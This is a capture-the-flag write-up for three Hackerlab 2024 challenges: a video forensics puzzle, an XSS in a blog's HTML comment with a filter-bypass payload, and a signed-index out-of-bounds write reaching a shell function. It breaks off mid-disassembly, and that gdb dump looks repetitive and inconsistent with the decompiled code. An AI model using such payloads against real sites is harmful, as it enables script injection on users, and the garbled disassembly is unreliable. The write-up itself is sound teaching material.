


Challenges:

- Trailer
- Fancy Blog
- Integer
- KeyQuest
- CACT
- Key Check
- FPO


Trailer



We are given an mp4 video here's the metadata


```
ark@kali: ~/Desktop/CTF/Hackerlab24/Trailer
File Edit View Search Terminal Help

ark@kali:~/Desktop/CTF/Hackerlab24/Trailer$ exiftool Trailer_Hackerlab2024_challenge.mp4
ExifTool Version Number      : 12.67
File Name                    : Trailer_Hackerlab2024_challenge.mp4
Directory                    : .
File Size                     : 8.1 MB
File Modification Date/Time   : 2024:06:01 19:30:26+01:00
File Access Date/Time        : 2024:06:01 20:05:50+01:00
File Inode Change Date/Time   : 2024:06:01 20:03:52+01:00
File Permissions              : -rw-r--r--
File Type                    : MP4
File Type Extension           : mp4
MIME Type                    : video/mp4
Major Brand                   : MP4 Base Media v1 [ISO 14496-12:2003]
Minor Version                 : 0.2.0
Compatible Brands             : isom, iso2, avc1, mp41
Media Data Size               : 7999765
Media Data Offset             : 48
Movie Header Version          : 0
Create Date                   : 0000:00:00 00:00:00
Modify Date                   : 0000:00:00 00:00:00
Time Scale                    : 1000
Duration                      : 0:01:10
Preferred Rate                 : 1
Preferred Volume               : 100.00%
Preview Time                  : 0 s
Preview Duration              : 0 s
Poster Time                   : 0 s
Selection Time                : 0 s
Selection Duration            : 0 s
Current Time                   : 0 s
Next Track ID                 : 3
Track Header Version          : 0
Track Create Date             : 0000:00:00 00:00:00
Track Modify Date             : 0000:00:00 00:00:00
Track ID                      : 1
Track Duration                : 0:01:10
Track Layer                   : 0
Track Volume                   : 0.00%
Image Width                   : 1280
Image Height                  : 720
Graphics Mode                 : srcCopy
Op Color                      : 0 0 0
Compressor ID                 : avc1
Source Image Width            : 1280
Source Image Height           : 720
X Resolution                   : 72
Y Resolution                   : 72
Compressor Name               : Lavc60.3.100 l1bx264
Bit Depth                     : 24
Pixel Aspect Ratio            : 1:1
Buffer Size                   : 0
Max Bitrate                   : 784083
Average Bitrate                : 784083
```



There's nothing really of interest there

Moving on, I watched the video and while watching it I noticed this



It might not look visible but there are reoccurring dots at the top right corner of the video

But because the video is playing we can't understand it is exactly

To solve that we need to extract each frames

Playing around with how I can accomplish this using various writeup online I came across this from [SEETE](#)

Ok this looks pretty nice and luckily it works :)

First I ran this command:

```
mkdir solve
ffmpeg -i Trailer_Hackerlab2024_challenge.mp4 -vf fps=60 solve/%d.png
```




```

~/Desktop/CTF/Hackerlab24/Trailer > ffmpeg -i Trailer_Hackerlab2024_challenge.mp4 -vf fps=60 solve/%d.png
ffmpeg version 6.1-3 Copyright (c) 2000-2023 the FFmpeg developers
  built with gcc 13 (Debian 13.2.0-6)
  configuration: --prefix=/usr --extra-version=3 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping
 --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libsbs2b --enable-libcaca --enable-libcdio --enable-libcodecs2 --enable-libdav1d --enable-libflite -
 --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libglslang --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpe
 --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librabbittmq --enable-librist --enable-librubberband --enable-libshine --enable-libsnap --enable-libsoxr --enable-libspeex
 --enable-libsrt --enable-libsbs --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx265 --enable-libx264 --enable-libx
 vid --enable-libzimg --enable-libzmq --enable-libzvtb1 --enable-lv2 --enable-omx --enable-opengl --enable-opencore --enable-opencore --enable-opengl --enable-sdl2 --enable-sndio --enable-libjxl --enable-libx
 phinx --enable-libsrt --enable-libvpl --enable-libmfx --enable-libd3d11 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libsrt --enable-libx264 --ena
 ble-libplacebo --enable-librav1e --enable-shared
 libavutil      58. 29.100 / 58. 29.100
 libavcodec     60. 31.102 / 60. 31.102
 libavformat    60. 16.100 / 60. 16.100
 libavdevice    60.  3.100 / 60.  3.100
 libavfilter    9. 12.100 /  9. 12.100
 libswscale     7.  5.100 /  7.  5.100
 libswresample  4. 12.100 /  4. 12.100
 libpostproc   57.  3.100 / 57.  3.100
Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'Trailer_Hackerlab2024_challenge.mp4':
  Metadata:
    major_brand      : isom
    minor_version    : 512
    compatible_brands: isomiso2avc1mp41
    encoder          : Lavf60.3.100
  Duration: 00:01:09.87, start: 0.000000, bitrate: 929 kb/s
  Stream #0:0[0x1](und): Video: h264 (High) (avc1 / 0x31637661), yuv420p(progressive), 1280x720 [SAR 1:1 DAR 16:9], 784 kb/s, 60 fps, 60 tbr, 15360 tbn (default)
    Metadata:
      handler_name    : VideoHandler
      vendor_id       : [0][0][0][0]
      encoder         : Lavc60.3.100 libx264
  Stream #0:1[0x2](und): Audio: aac (LC) (mp4a / 0x6134706D), 44100 Hz, stereo, fltp, 131 kb/s (default)
    Metadata:
      handler_name    : SoundHandler
      vendor_id       : [0][0][0][0]
Stream mapping:
  Stream #0:0 -> #0:0 (h264 (native) -> png (native))
Press [q] to stop, [?] for help
Output #0, image2, to 'solve/%d.png':
  Metadata:
    major_brand      : isom
    minor_version    : 512
    compatible_brands: isomiso2avc1mp41
    encoder          : Lavf60.16.100
  Stream #0:0(und): Video: png, rgb24(pc, gbr/unknown/unknown, progressive), 1280x720 [SAR 1:1 DAR 16:9], q=2-31, 200 kb/s, 60 fps, 60 tbn (default)
    Metadata:
      handler_name    : VideoHandler
      vendor_id       : [0][0][0][0]
      encoder         : Lavc60.31.102 png
[out#0/image2 @ 0x55d7bf616b80] video:1743221kB audio:0kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: unknown
frame= 4192 fps= 50 q=-0.0 lsize=N/A time=00:01:09.85 bitrate=N/A speed=0.83x
~/Desktop/CTF/Hackerlab24/Trailer >

```

Next I ran the `solve.py` file attached in the Github link


After about 12 minutes I got the newly constructed image which when opened shows this




But damn it doesn't seem to be complete but it's a qrcode

When I looked harder I saw that it's rather complete just that the white image pane covers it

I uploaded it to [Aperisolve](https://www.aperisolve.com/2f031439fd27fa470070034b1df9d4de)



From the View options I choose the first one and opened it in a new tab



I used my phone because iPhone can automatically scan QRcode

Another reason why I approached using my phone was because some online decoder can't decode it and I wasn't in any mood to fix that

To decode --> Camera --> Photo: It will scan it and redirect here justpaste.it/1nhcv

12:22

LTE 24

AA

justpaste.it



JustPaste.it

Add

Account

Your Mission!



0xW1z4rd @0xW1z4rd · 29 May

2024 · edited: 31 May 2024



The mission unveiled:


Your mission, should you choose to accept it, is to help us identify their objectives and counter this threat.

A member of the cybercriminal group ICS Infiltrator, known for hacking industrial systems, was spotted in Benin. He was filmed


by a surveillance camera at the DUSIT hotel, holding his phone.

An image from the video has been enhanced.

RAW DATA IMAGE :



Viewing that from my laptop shows this



We have apparently the hex data of a raw image data

I saved it locally to attempt decoding

[illegible]

Uhm it looks like an jpeg file just that the hex bytes are not well alligned

Now what I mean by that is this

Notice the first 8 bytes:

```
d8ff e0ff
```

It's meant to be:

```
ffd8 ffe0
```

Ideally we might want to just fix the bytes but the same swap might be applied to the other bytes which is the case here

So I wrote a script to fix this

```
with open('data', "r") as f:
    file = f.read().strip()

chunks = []

for i in range(0, len(file), 4):
    byte = file[i:i+4]
    first = byte[0:2]
    last = byte[2:4]
    chunks.append(last+first)


hex_string = "".join(chunks)

with open("chall.jpg", "wb") as f:
    f.write(bytes.fromhex(hex_string))
```

Running that gives the fixed image file

```
herghaor: ~/Desktop/CTF/Hackerlab24/Trailer
File Edit View Search Terminal Help
A ~/Desktop/CTF/Hackerlab24/Trailer > python3 fix_hex.py
A ~/Desktop/CTF/Hackerlab24/Trailer > file chall.jpg
chall.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 148x320, components 3
A ~/Desktop/CTF/Hackerlab24/Trailer >
```


I opened it and saw yet another qrcode



Again I used tried using my phone to decode it but now it doesn't work

I then noticed that the 3rd block of the qr is blocked, maybe that's what preventing it from working?

I uploaded it [here](#) to and made some funny edits



Luckily my phone scanned it properly and got this

12:50

LTE 54%


AA

mega.nz




Log in






But for some reason it doesn't show a download file?

I copied and paste the link to my laptop and now it works properly [link](#)




Ok cool this is better

After downloading it and reading it I didn't see any flag at first



But I CTRL + A meaning I selected all and pasted it in a vscode and saw the flag



Flag: HLB2024{Good_You_H4v3_D1sc0v3r3d_Th3_Thr347}

Challenge

1 Solves



Fancy Blog 200

[FR]

La discussion que nous avons découverte porte sur des attaques contre des infrastructures.

Réalisez un audit des applications de ces infrastructures afin d'identifier les vulnérabilités potentielles avant qu'elles ne soient effectivement exploitées par les pirates.

[EN]

The discussion we uncovered revolves around attacks on infrastructures.

Conduct an audit of these infrastructure applications to identify potential vulnerabilities before they are actually exploited by hackers.


<http://qualif.hackerlab.bj:4500>

Author: [r3s0lv3r](#)


Flag

Submit

Going over to the url shows this




After looking around I noticed this



The url seems to be including the current file being accessed?

I tried various forms of Local File Inclusion but non worked

Looking at the page source when I try access an invalid file shows this




```
38      height: 100px;
39      overflow-y: auto;
40    }
41    img {
42      margin-top: 15px;
43    }
44  }
45  </style>
46  </head>
47  <body>
48    <!-- Nav -->
49    <div class="fixed-top-container">
50      <div class="fixed-top-content">
51        <nav class="navbar navbar-expand-lg navbar-dark fixed-top" style="background-color: #333;">
52          <a class="navbar-brand" href="/>F.A.N.C.Y</a>
53          <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
54            aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
55            <span class="navbar-toggler-icon"></span>
56          </button>
57          <div class="collapse navbar-collapse justify-content-end" id="navbarNav">
58            <ul class="navbar-nav">
59              <li class="nav-item">
60                <a class="nav-link" href="/page-index.html">Home</a>
61              </li>
62              <li class="nav-item">
63                <a class="nav-link" href="/page-articles.html">Articles</a>
64              </li>
65              <li class="nav-item">
66                <a class="nav-link" href="/page-contact.html">Contact</a>
67              </li>
68            </ul>
69          </div>
70        </nav>
71      </div>
72    </div>
73
74    <!-- Content -->
75    <div class="container">
76      <h1 class="text-center">Welcome to my blog</h1>
77      <p class="text-center"></p>
78      <div class="text-center">
79        
80      </div>
81    </div>
82
83    <div class="content">
84      <div class="content">
85      </div>
86    </div>
87
88    <!-- Page 0x1337 does not exist! -->
89    <div class="fixed-bottom-container">
90      <div class="fixed-bottom-content">
91        <footer class="footer text-center">
92          <p>All rights reserved &copy; 2024 F.A.N.C.Y</p>
93        </footer>
94      </div>
95    </div>
96  </body>
97  </html>
```

<!-- Page 0x1337 does not exist! -->

Our queried file seems to be inside an html comment


I escaped the comment in an attempt to try xss



```
59      overflow-y: auto;
60    }
61    img {
62      margin-top: 15px;
63    }
64  }
65  </style>
66  </head>
67  <body>
68    <!-- Nav -->
69    <div class="fixed-top-container">
70      <div class="fixed-top-content">
71        <nav class="navbar navbar-expand-lg navbar-dark fixed-top" style="background-color: #333;">
72          <a class="navbar-brand" href="/>F.A.N.C.Y</a>
73          <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
74            aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
75            <span class="navbar-toggler-icon"></span>
76          </button>
77          <div class="collapse navbar-collapse justify-content-end" id="navbarNav">
78            <ul class="navbar-nav">
79              <li class="nav-item">
80                <a class="nav-link" href="/page-index.html">Home</a>
81              </li>
82              <li class="nav-item">
83                <a class="nav-link" href="/page-articles.html">Articles</a>
84              </li>
85              <li class="nav-item">
86                <a class="nav-link" href="/page-contact.html">Contact</a>
87              </li>
88            </ul>
89          </div>
90        </nav>
91      </div>
92    </div>
93
94    <!-- Content -->
95    <div class="container">
96      <h1 class="text-center">Welcome to my blog</h1>
97      <p class="text-center"></p>
98      <div class="text-center">
99        
100      </div>
101    </div>
102
103    <div class="content">
104      <div class="content">
105      </div>
106    </div>
107
108    <!-->0x1337 does not exist! -->
109    <div class="fixed-bottom-container">
110      <div class="fixed-bottom-content">
111        <footer class="footer text-center">
112          <p>All rights reserved &copy; 2024 F.A.N.C.Y</p>
113        </footer>
114      </div>
115    </div>
116  </body>
117  </html>
```


At first I was confused because even if I had XSS i can't really do much with it?

I remember seeing from the Trailer challenge various reference to XSS




Intuitively I decided to go ahead with this LOL

Ok back to the chall

After breaking out from the comment I needed to pop an alert

I injected a `<script>` tag but I noticed this




```
58 height: 100px;
59 overflow-y: auto;
60 }
61 img {
62 margin-top: 15px;
63 }
64 </style>
65 </head>
66
67 <body>
68 <!-- nav -->
69 <div class="fixed-top-container">
70 <div class="fixed-top-content">
71 <nav class="navbar navbar-expand-lg navbar-dark fixed-top" style="background-color: #333;">
72 <a class="navbar-brand" href="/>F.A.N.C.Y</a>
73 <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
74 aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
75 <span class="navbar-toggler-icon"></span>
76 </button>
77 <div class="collapse navbar-collapse justify-content-end" id="navbarNav">
78 <ul class="navbar-nav">
79 <li class="nav-item">
80 <a class="nav-link" href="/page-index.html">Home</a>
81 </li>
82 <li class="nav-item">
83 <a class="nav-link" href="/page-articles.html">Articles</a>
84 </li>
85 <li class="nav-item">
86 <a class="nav-link" href="/page-contact.html">Contact</a>
87 </li>
88 </ul>
89 </div>
90 </nav>
91 </div>
92 </div>
93
94 <!-- Content -->
95 <div class="container">
96 <div class="text-center">Welcome to my blog</div>
97 <p class="text-center"></p>
98 <div class="text-center">
99 
100 </div>
101 </div>
102 </div>
103 <div class="content">
104 </div>
105 </div>
106
107 <!-- Page --><script>alert('0x1337');</script> does not exist! -->
108 <div class="fixed-bottom-container">
109 <div class="fixed-bottom-content">
110 <div class="text-center">
111 <p>All rights reserved &copy; 2024 F.A.N.C.Y</p>
112 </div>
113 </div>
114 </div>
115
116 </body>
117 </html>
```

Our script tag seems to have been replaced with a null value?

I assumed it doesn't check it recursively and from that I came up with this payload


```
--><scriptscript>alert('0x1337');</scriptscript>
```

Doing that worked and i got the flag



Flag: `HLB2024{XSS_INJ3CT10N_1n_COMM3N7_8898})69}`

Integer



After downloading the attached binary I checked the file type and protections enabled on it

```
File Edit View Search Terminal Help
~/Desktop/CTF/Hackerlab24/Integer > file chall1
chall1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=62230eadb46927b325a69234165abb7c3640f24, for GNU/Linux 3.2.0, not stripped

~/Desktop/CTF/Hackerlab24/Integer > checksec chall1
[ ] '/home/mark/Desktop/CTF/Hackerlab24/Integer/chall1'
Arch:      1386-32-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x0040000)

~/Desktop/CTF/Hackerlab24/Integer > 
```

Ok so we are working with a x86 bits executable where the only protection enabled is NX and it's not stripped

I ran it to get an overview of what it does

```
~/Desktop/CTF/Hackerlab24/Integer > ./chall1
Veuillez entrer votre pseudonyme et patienter : hello
a
lsf
ll
lmsal
mgskgm
mgkskgm
^C

~/Desktop/CTF/Hackerlab24/Integer > 
```

It seems to print out some text, receive our input and doesn't exit?

To understand it well I decompiled it in Ghidra

```

4
5 void main(void)
6
7 {
8     int __fd;
9     int in_GS_OFFSET;
10    int local_60;
11    int local_5c;
12    int local_58;
13    undefined local_54 [64];
14    undefined4 local_14;
15    undefined *puStack_10;
16
17    puStack_10 = &stack0x00000004;
18    local_14 = *(undefined4 *) (in_GS_OFFSET + 0x14);
19    local_60 = 0;
20    local_5c = 0;
21    printf("Veuillez entrer votre pseudonyme et patienter : ");
22    fflush(_stdout);
23 LAB_08049242:
24    while( true ) {
25        while( true ) {
26            if (0x3f < local_5c) {
27                puts(&DAT_0804a03c);
28            }
29            if (local_58 != -0x40000544) break;
30            shell();
31        }
32        __fd = fileno(_stdin);
33        read(__fd,&local_60,1);
34        if (local_60 != 0x90) break;
35        putchar(7);
36        local_5c = local_5c + 1;
37    }
38    if (local_60 < 0x91) {
39        if (local_60 == 10) {
40            putchar(7);
41            goto LAB_08049242;
42        }
43        if (local_60 < 0xb) {
44            if (local_60 == 4) {
45                putchar(9);
46                local_5c = local_5c + 1;
47            }
48            else {
49                if (local_60 != 8) goto LAB_080492ff;
50                local_5c = local_5c + -1;
51                putchar(8);
52            }
53            goto LAB_08049242;
54        }
55    }
56 LAB_080492ff:
57    local_54[local_5c] = (char) local_60;
58    local_5c = local_5c + 1;
59    goto LAB_08049242;
60 }
61

```

It look understandable but for better understanding I made some variable renaming and got this

```
Decompile: main - (integer)
5 void main(void)
6
7 {
8     int fd;
9     int in_GS_OFFSET;
10    int value;
11    int idx;
12    int uninitialized;
13    undefined store [64];
14    undefined4 local_14;
15    undefined *puStack_10;
16
17    puStack_10 = &stack0x00000004;
18    local_14 = *(undefined4 *) (in_GS_OFFSET + 0x14);
19    value = 0;
20    idx = 0;
21    printf("Veuillez entrer votre pseudonyme et patienter : ");
22    fflush(stdout);
23 loop:
24     while( true ) {
25         while( true ) {
26             if (63 < idx) {
27                 puts(&sorry);
28             }
29             if (uninitialized != -1073743172) break;
30             shell();
31         }
32         fd = fileno(stdin);
33         read(fd, &value, 1);
34         if (value != 0x90) break;
35         putchar(7);
36         idx = idx + 1;
37     }
38     if (value < 145) {
39         /* check for \n character and skip */
40         if (value == 10) {
41             putchar(7);
42             goto loop;
43         }
44         if (value < 11) {
45             if (value == 4) {
46                 putchar(9);
47                 idx = idx + 1;
48             }
49             else {
50                 if (value != 8) goto store;
51                 idx = idx + -1;
52                 putchar(8);
53             }
54             goto loop;
55         }
56     }
57 store:
58     store[idx] = (char) value;
59     idx = idx + 1;
60     goto loop;
61 }
62
```

This looks much better

```
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection:
get_pc_thunk_bx */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same
address */
```

```
void main(void)
```

```
{
    int fd;
```

```

int in_GS_OFFSET;
int value;
int idx;
int uninitialized;
undefined store [64];
undefined4 local_14;
undefined *puStack_10;

puStack_10 = &stack0x00000004;
local_14 = *(undefined4 *) (in_GS_OFFSET + 0x14);
value = 0;
idx = 0;
printf("Veuillez entrer votre pseudonyme et patienter : ");
fflush(_stdout);
loop:
while( true ) {
    while( true ) {
        if (63 < idx) {
            puts(&sorry);
        }
        if (uninitialized != -1073743172) break;
        shell();
    }
    fd = fileno(_stdin);
    read(fd,&value,1);
    if (value != 0x90) break;
    putchar(7);
    idx = idx + 1;
}
if (value < 145) {
    /* check for \n character and skip? */
    if (value == 10) {
        putchar(7);
        goto loop;
    }
    if (value < 11) {
        if (value == 4) {
            putchar(9);
            idx = idx + 1;
        }
        else {
            if (value != 8) goto store;
            idx = idx + -1;
            putchar(8);
        }
        goto loop;
    }
}

```


```

    }
}
store:
    store[idx] = (char)value;
    idx = idx + 1;
    goto loop;
}

```

First it compares a variable with `-1073743172` but notice that the variable wasn't initialized anywhere meaning that it would be compared against a value that was previously stored there in the previous function (i.e when it initializes)

When this comparison returns True it would call the `shell` function which basically does as the name implies



The screenshot shows a debugger window titled "Decompile: shell - (integer)". The code is as follows:

```

1
2 /* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
3
4 void shell(void)
5
6 {
7     __uid_t __euid;
8     __uid_t __ruid;
9
10    __euid = geteuid();
11    __ruid = geteuid();
12    setreuid(__ruid, __euid);
13    system("/bin/bash");
14    return;
15 }
16

```

Next is the main logic of what the binary does

Two values are initialized to 0 which are variable `idx` & `value` where `idx` is a signed integer and an array which can hold up `0x40` bytes is created

It receives a single byte from stdin which is stored in variable `value`

Based on the value provided it performs this check:

- If the value is `0x90` it would put increment `idx` by 1 else:
 - If the value is less than `0x91`:
 - And the value is equal to `0xa` it does nothing and continue the loop
 - If the value is less than `0xb`:
 - And the value is equal to `0x4` it increments the `idx` by 1 else:
 - It decrements the `idx` by 1
 - But if the value equals `0x8` it jumps to the `store` case which does this:

- Stores the current `value` into `array[idx]` and increments `idx` by 1
- Else it would do nothing

Note that this loop is done indefinitely

Ok this check condition seem pretty much duplicates?

From this the important thing I concluded was that:

- We can increment the `idx`
- We can decrement the `idx`
- We can write to the array

Now remember that the program checks if a certain variable equals `-1073743172` but because this can never be true how can we make it true

Due to the data type of the `idx` variable which is that of a `signed int` it can either be positive or negative

And because of this we can cause an out of bound write which happens when it stores our value into the array

Meaning instead of us writing to `array[1]`, `array[2]`, `array[n]` we can do `array[-1]`, `array[-2]`, `array[-3]`, `array[-n]`

And we can make it negative using the decrement option which happens when the value is neither `4` nor `8` so the values suffices this are `5`, `6`, `7`

Ok time for exploitation

I need to get the location of our array and the uninitialized variable

This was accomplished using gdb

```

A ~/Desktop/CTF/Hackerlab24/Integer > gdb-gef chall1
Reading symbols from chall1...
(No debugging symbols found in chall1)
Error while writing index for /home/mark/Desktop/CTF/Hackerlab24/Integer/chall1: No debugging symbols
gef for linux ready, type 'gef' to start, 'gef_config' to configure
89 commands loaded and 5 functions added for GDB 13.2 in 0.01ms using Python engine 3.11
gef> disasm main
Dump of assembler code for function main:
0x00049100 <+0>: lea ecx,[esp+0x4]
0x00049104 <+4>: and ecx,0xffffffff
0x00049108 <+8>: push DWORD PTR [ecx-0x4]
0x00049110 <+10>: push ebp
0x00049111 <+11>: mov ebp,esp
0x00049113 <+13>: push ebx
0x00049114 <+14>: push ecx
0x00049115 <+15>: sub esp,0x50
0x00049119 <+19>: call 0x0049129 <__x86.get_pc_thunk.bx>
0x0004911d <+23>: add ebx,0x24f7
0x00049203 <+29>: mov eax,0x14
0x00049209 <+35>: mov DWORD PTR [ebp-0x4],eax
0x0004920c <+38>: xor eax,eax
0x0004920e <+40>: mov DWORD PTR [ebp-0x50],eax
0x00049213 <+47>: mov DWORD PTR [ebp-0x4],eax
0x00049216 <+54>: sub esp,0x4
0x00049217 <+57>: lea eax,[ebx-0x1fec]
0x00049225 <+63>: push eax
0x00049226 <+64>: call 0x0049085 <printf@plt>
0x0004922b <+69>: add esp,0x10
0x0004922e <+72>: mov eax,DWORD PTR [ebp-0x4]
0x00049234 <+78>: mov eax,DWORD PTR [eax]
0x00049236 <+80>: sub esp,0x4
0x00049239 <+83>: push eax
0x0004923a <+84>: call 0x0049060 <fflush@plt>
0x0004923f <+89>: add esp,0x10
0x00049242 <+92>: cmp DWORD PTR [ebp-0x50],0xbffffabc
0x00049246 <+96>: jle 0x004924a <main+116>
0x00049248 <+98>: sub esp,0xc
0x0004924b <+101>: lea eax,[ebx-0x1f08]
0x00049251 <+107>: push eax
0x00049252 <+108>: call 0x0049080 <puts@plt>
0x00049257 <+113>: add esp,0x10
0x0004925a <+116>: cmp DWORD PTR [ebp-0x4],0xbffffabc
0x00049261 <+123>: jne 0x004926a <main+132>
0x00049263 <+125>: call 0x0049310 <shell>
0x00049268 <+130>: jmp 0x0049242 <main+92>
0x0004926a <+132>: mov eax,DWORD PTR [ebx-0x4]
0x00049270 <+138>: mov eax,DWORD PTR [eax]
0x00049272 <+140>: sub esp,0xc
0x00049275 <+143>: push eax
0x00049276 <+144>: call 0x0049060 <fileno@plt>
0x0004927b <+149>: add esp,0x10
0x0004927e <+152>: sub esp,0x4
0x00049281 <+155>: push 0x1
0x00049284 <+158>: call 0x0049080 <puts@plt>
0x00049289 <+163>: add esp,0x10
0x0004928c <+166>: jmp 0x0049242 <main+92>
0x0004928e <+168>: mov eax,DWORD PTR [ebp-0x50]
0x00049293 <+175>: mov eax,DWORD PTR [eax]
0x00049295 <+177>: sub esp,0xc
0x00049298 <+180>: push eax
0x00049299 <+181>: call 0x0049060 <putchar@plt>
0x0004929c <+184>: add esp,0x10
0x0004929f <+187>: jmp 0x0049242 <main+92>
0x000492a1 <+189>: mov eax,DWORD PTR [ebp-0x50]
0x000492a6 <+194>: mov eax,DWORD PTR [eax]
0x000492a8 <+196>: sub esp,0xc
0x000492ab <+199>: push eax
0x000492ac <+200>: call 0x0049060 <putchar@plt>
0x000492af <+203>: add esp,0x10
0x000492b2 <+206>: jmp 0x0049242 <main+92>
0x000492b4 <+208>: mov eax,DWORD PTR [ebp-0x50]
0x000492b9 <+213>: mov eax,DWORD PTR [eax]
0x000492ba <+214>: sub esp,0xc
0x000492bd <+217>: push eax
0x000492be <+218>: call 0x0049060 <putchar@plt>
0x000492c1 <+223>: add esp,0x10
0x000492c4 <+226>: jmp 0x0049242 <main+92>
0x000492c6 <+228>: mov eax,DWORD PTR [ebp-0x50]
0x000492cb <+233>: mov eax,DWORD PTR [eax]
0x000492cd <+235>: sub esp,0xc
0x000492cf <+237>: push eax
0x000492d0 <+238>: call 0x0049060 <putchar@plt>
0x000492d3 <+241>: add esp,0x10
0x000492d6 <+244>: jmp 0x0049242 <main+92>
0x000492d8 <+246>: mov eax,DWORD PTR [ebp-0x50]
0x000492dd <+251>: mov eax,DWORD PTR [eax]
0x000492de <+252>: sub esp,0xc
0x000492e1 <+255>: push eax
0x000492e2 <+256>: call 0x0049060 <putchar@plt>
0x000492e5 <+259>: add esp,0x10
0x000492e8 <+262>: jmp 0x0049242 <main+92>
0x000492ea <+264>: mov eax,DWORD PTR [ebp-0x50]
0x000492ef <+269>: mov eax,DWORD PTR [eax]
0x000492f0 <+270>: sub esp,0xc
0x000492f3 <+273>: push eax
0x000492f4 <+274>: call 0x0049060 <putchar@plt>
0x000492f7 <+277>: add esp,0x10
0x000492fa <+280>: jmp 0x0049242 <main+92>
0x000492fc <+282>: mov eax,DWORD PTR [ebp-0x50]
0x00049301 <+287>: mov eax,DWORD PTR [eax]
0x00049302 <+288>: sub esp,0xc
0x00049305 <+291>: push eax
0x00049306 <+292>: call 0x0049060 <putchar@plt>
0x00049309 <+295>: add esp,0x10
0x0004930c <+298>: jmp 0x0049242 <main+92>
0x0004930e <+300>: mov eax,DWORD PTR [ebp-0x50]
0x00049313 <+305>: mov eax,DWORD PTR [eax]
0x00049314 <+306>: sub esp,0xc
0x00049317 <+309>: push eax
0x00049318 <+310>: call 0x0049060 <putchar@plt>
0x0004931b <+313>: add esp,0x10
0x0004931e <+316>: jmp 0x0049242 <main+92>
0x00049320 <+318>: mov eax,DWORD PTR [ebp-0x50]
0x00049325 <+323>: mov eax,DWORD PTR [eax]
0x00049326 <+324>: sub esp,0xc
0x00049329 <+327>: push eax
0x0004932a <+328>: call 0x0049060 <putchar@plt>
0x0004932d <+331>: add esp,0x10
0x00049330 <+334>: jmp 0x0049242 <main+92>
0x00049332 <+336>: mov eax,DWORD PTR [ebp-0x50]
0x00049337 <+341>: mov eax,DWORD PTR [eax]
0x00049338 <+342>: sub esp,0xc
0x0004933b <+345>: push eax
0x0004933c <+346>: call 0x0049060 <putchar@plt>
0x0004933f <+349>: add esp,0x10
0x00049342 <+352>: jmp 0x0049242 <main+92>
0x00049344 <+354>: mov eax,DWORD PTR [ebp-0x50]
0x00049349 <+359>: mov eax,DWORD PTR [eax]
0x0004934a <+360>: sub esp,0xc
0x0004934d <+363>: push eax
0x0004934e <+364>: call 0x0049060 <putchar@plt>
0x00049351 <+367>: add esp,0x10
0x00049354 <+370>: jmp 0x0049242 <main+92>
0x00049356 <+372>: mov eax,DWORD PTR [ebp-0x50]
0x0004935b <+377>: mov eax,DWORD PTR [eax]
0x0004935c <+378>: sub esp,0xc
0x0004935f <+381>: push eax
0x00049360 <+382>: call 0x0049060 <putchar@plt>
0x00049363 <+385>: add esp,0x10
0x00049366 <+388>: jmp 0x0049242 <main+92>
0x00049368 <+390>: mov eax,DWORD PTR [ebp-0x50]
0x0004936d <+395>: mov eax,DWORD PTR [eax]
0x0004936e <+396>: sub esp,0xc
0x00049371 <+399>: push eax
0x00049372 <+400>: call 0x0049060 <putchar@plt>
0x00049375 <+403>: add esp,0x10
0x00049378 <+406>: jmp 0x0049242 <main+92>
0x0004937a <+408>: mov eax,DWORD PTR [ebp-0x50]
0x0004937f <+413>: mov eax,DWORD PTR [eax]
0x00049380 <+414>: sub esp,0xc
0x00049383 <+417>: push eax
0x00049384 <+418>: call 0x0049060 <putchar@plt>
0x00049387 <+421>: add esp,0x10
0x0004938a <+424>: jmp 0x0049242 <main+92>
0x0004938c <+426>: mov eax,DWORD PTR [ebp-0x50]
0x00049391 <+431>: mov eax,DWORD PTR [eax]
0x00049392 <+432>: sub esp,0xc
0x00049395 <+435>: push eax
0x00049396 <+436>: call 0x0049060 <putchar@plt>
0x00049399 <+439>: add esp,0x10
0x0004939c <+442>: jmp 0x0049242 <main+92>
0x0004939e <+444>: mov eax,DWORD PTR [ebp-0x50]
0x000493a3 <+449>: mov eax,DWORD PTR [eax]
0x000493a4 <+450>: sub esp,0xc
0x000493a7 <+453>: push eax
0x000493a8 <+454>: call 0x0049060 <putchar@plt>
0x000493ab <+457>: add esp,0x10
0x000493ae <+460>: jmp 0x0049242 <main+92>
0x000493b0 <+462>: mov eax,DWORD PTR [ebp-0x50]
0x000493b5 <+467>: mov eax,DWORD PTR [eax]
0x000493b6 <+468>: sub esp,0xc
0x000493b9 <+471>: push eax
0x000493ba <+472>: call 0x0049060 <putchar@plt>
0x000493bd <+475>: add esp,0x10
0x000493c0 <+478>: jmp 0x0049242 <main+92>
0x000493c2 <+480>: mov eax,DWORD PTR [ebp-0x50]
0x000493c7 <+485>: mov eax,DWORD PTR [eax]
0x000493c8 <+486>: sub esp,0xc
0x000493cb <+489>: push eax
0x000493cc <+490>: call 0x0049060 <putchar@plt>
0x000493cf <+493>: add esp,0x10
0x000493d2 <+496>: jmp 0x0049242 <main+92>
